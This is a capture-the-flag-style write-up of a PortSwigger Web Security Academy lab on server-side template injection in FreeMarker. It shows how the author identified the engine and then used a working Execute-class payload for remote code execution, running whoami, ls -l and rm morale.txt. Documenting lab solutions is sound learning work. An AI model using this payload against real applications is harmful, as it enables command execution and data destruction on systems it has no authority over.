Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (FreeMarker)
Difficulty Practitioner
Objective Identify the template engine, use the documentation to work out how to execute arbitrary code, then delete morale.txt from Carlos's home directory

Server-Side Template Injection Using Documentation

Log in as content-manager:C0nt3ntM4n4g3r. Going to a product, there's an "edit template" button.

Screenshot

That field exposes the product's template directly:

<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>

${...} is a strong hint this is some flavor of EL-style template syntax.

Messing with the template:

<p>Hurry! Only ${teto} left of ${teto} at ${teto}.</p>
Screenshot

The preview throws various errors referencing freemarker.core — Java's FreeMarker template engine. Checking PayloadsAllTheThings for FreeMarker:

The template can be:

    Default: ${3*3}
    Legacy: #{3*3}
    Alternative: [=3*3] since FreeMarker 2.3.4

Trying the default syntax:

<p>Hurry! Only ${3*3} left of ${3*3} at ${3*3}.</p>
Screenshot

Works — confirms FreeMarker and the basic injection syntax. Same ${ } pattern shows up in other engines too, but the error trace naming freemarker.core is what pinned this down specifically.

Moving on to the RCE payload from PayloadsAllTheThings:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}
Screenshot

Response: <p>Hurry! Only carlos left of 9 at 9.</p>whoami executed and returned carlos. Execute is a built-in FreeMarker utility class meant for exactly this kind of arbitrary command execution.

Checking the home directory with ls -l:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("ls -l")}
rw-rw-r-- 1 carlos carlos 6816 Jun 14 00:08 morale.txt

morale.txt is there. Deleting it:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("rm morale.txt")}
Screenshot

The file will be deleted and the lab it's solved 0,0

Resources